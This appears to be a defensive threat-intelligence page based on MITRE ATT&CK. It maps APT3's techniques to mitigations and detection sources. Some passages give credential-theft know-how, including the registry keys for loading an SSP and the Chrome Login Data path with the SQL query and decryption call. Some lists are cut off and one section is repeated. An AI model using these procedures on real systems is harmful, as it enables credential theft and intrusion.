Windows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages and HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.
The following SSPs can be used to access credentials:
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to secure LSASS and prevent credential stealing.
Credential Access Protection
With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. It also does not protect against all forms of credential dumping.
Operating System Configuration
Consider disabling or restricting NTLM. Consider disabling WDigest authentication.
Password Policies
Ensure that local administrator accounts have complex, unique passwords across all systems on the network.
Privileged Account Management
Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.
Privileged Process Integrity
On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.
User Training
Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.
Monitor for unexpected processes interacting with LSASS.exe. Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective Process Injection to reduce potential indicators of malicious activity.
On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.
Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Access
Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has used a keylogging tool that records keystrokes in encrypted files.
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Monitoring the following activities in your Organisation can help you detect this technique.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Process: OS API Execution
Operating system function/method calls executed by a process
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 has a tool that can obtain information about the local system.
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.
Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Instance: Instance Metadata
Contextual data about an instance and activity around it such as name, type, or status
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has been known to brute force password hashes to be able to leverage plain text credentials.
Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping is used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.
Multi-factor Authentication
Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.
Password Policies
Refer to NIST guidelines when creating password policies.
It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as OS Credential Dumping or Kerberoasting.
Monitoring the following activities in your Organisation can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
User Account: User Account Authentication
An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
APT3 has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.
Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.
In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.
Audit
Preemptively search for files containing passwords and take actions to reduce the exposure risk when found.
Password Policies
Establish an organizational policy that prohibits password storage in files.
Restrict File and Directory Permissions
Restrict file shares to specific directories with access only to necessary users.
User Training
Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers.
While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
APT3 has used tools to dump passwords from browsers.
Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.
For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\Local\Google\Chrome\User Data\Default\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key.
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.
Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.
After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).
Password Policies
Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.
Identify web browser files that contain credentials such as Google Chrome’s Login Data database file: AppData\Local\Google\Chrome\User Data\Default\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Access
Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.
Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using Ping, tracert, and GET requests to websites.
Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
APT3 has a tool that can detect the existence of remote systems.
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or net view using Net. Adversaries may also use local host files (ex: C:\Windows\System32\Drivers\etc\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitor for processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
An APT3 downloader uses the Windows command "cmd.exe" /C whoami to verify that it is running with the elevated privileges of "System."
Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has a tool that can enumerate current network connections.
Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.
An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.
Utilities and commands that acquire this information include netstat, "net use," and "net session" with Net. In Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to "net session".
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has a tool that can list out currently running processes.
Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
In Windows environments, adversaries could obtain details on running processes using the Tasklist utility via cmd or Get-Process via PowerShell. Information about processes can also be extracted from the output of Native API calls such as CreateToolhelp32Snapshot. In Mac and Linux, this is accomplished with the ps command. Adversaries may also opt to enumerate processes via /proc.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has a tool that can enumerate the permissions associated with Windows groups.
Adversaries may attempt to find group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. Monitor container logs for commands and/or API calls related to listing permissions for pods and nodes, such as kubectl auth can-i.
Monitoring the following activities in your Organisation can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Group: Group Enumeration
An extracted list of available groups and/or their associated settings (ex: AWS list-groups)
Group: Group Metadata
Contextual data about a group which describes group and activity around it, such as name, permissions, or user accounts within the group
Pod: Pod Metadata
Contextual data about a pod and activity around it such as name, ID, namespace, or status
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has a tool that looks for files and directories on the local file system.
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. Custom tools may also be used to gather file and directory information and interact with the Native API.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Process: OS API Execution
Operating system function/method calls executed by a process
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 has used a tool that can obtain info about local and global group users, power users, and administrators.
Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
Commands such as net user and net localgroup of the Net utility and id and groupson macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.
Operating System Configuration
Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located at HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: Enumerate administrator accounts on elevation.
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 enables the Remote Desktop Protocol for persistence.[7] APT3 has also interacted with compromised systems to browse and copy files through RDP sessions.
Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence.
Audit
Audit the Remote Desktop Users group membership regularly. Remove unnecessary accounts and groups from Remote Desktop Users groups.
Disable or Remove Feature or Program
Disable the RDP service if it is unnecessary.
Limit Access to Resource Over Network
Use remote desktop gateways.
Multi-factor Authentication
Use multi-factor authentication for remote logins.
Network Segmentation
Do not leave RDP accessible from the internet. Enable firewall rules to block RDP traffic between network security zones within a network.
Operating System Configuration
Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.
Privileged Account Management
Consider removing the local Administrators group from the list of groups allowed to log in through RDP.
User Account Management
Limit remote user permissions if remote access is necessary.
Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
Monitoring the following activities in your Organisation can help you detect this technique.
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement.
Adversaries may use Valid Accounts to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.
SMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.
Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. Adversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over SMB, to interact with systems using remote procedure calls (RPCs), transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are Scheduled Task/Job, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.
Filter Network Traffic
Consider using the host firewall to restrict file sharing communications such as SMB.
Limit Access to Resource Over Network
Consider disabling Windows administrative shares.
Password Policies
Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed.
Privileged Account Management
Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.
Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as Net, on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Logon Session: Logon Session Creation
Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Network Share: Network Share Access
Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Network Traffic: Network Connection Creation
Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
APT3 will identify Microsoft Office documents on the victim's computer.
Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Adversaries may do this using a Command and Scripting Interpreter, such as cmd, which has functionality to interact with the file system to gather information. Some adversaries may also use Automated Collection on the local system.
Data Loss Prevention
Data loss prevention can restrict access to sensitive data and detect sensitive data that is unencrypted.
Monitor processes and command-line arguments for actions that could be taken to collect files from a system. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Access
Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
APT3 has used a keylogging tool that records keystrokes in encrypted files.
Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured.
Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include:
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. Monitor the Registry and file system for such changes, monitor driver installs, and look for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.
Monitoring the following activities in your Organisation can help you detect this technique.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Process: OS API Execution
Operating system function/method calls executed by a process
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
APT3 has been known to stage files for exfiltration in a single location.
Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.
APT3 has used tools to compress data before exfilling it.
An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities. Many utilities exist that can archive data, including 7-Zip, WinRAR, and WinZip. Most utilities include functionality to encrypt and/or compress data.
Some 3rd party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems.
Audit
System scans can be performed to identify unauthorized archival utilities.
Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known archival utilities. This may yield a significant number of benign events, depending on how systems in the environment are typically used.
Consider detecting writing of files with extensions and/or headers associated with compressed or encrypted file types. Detection efforts may focus on follow-on exfiltration activity, where compressed or encrypted files can be detected in transit with a network intrusion detection or data loss prevention system analyzing file headers.
Monitoring the following activities in your Organisation can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
An APT3 downloader establishes SOCKS5 connections for its initial C2.
Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.
External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.
Network Intrusion Prevention
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.
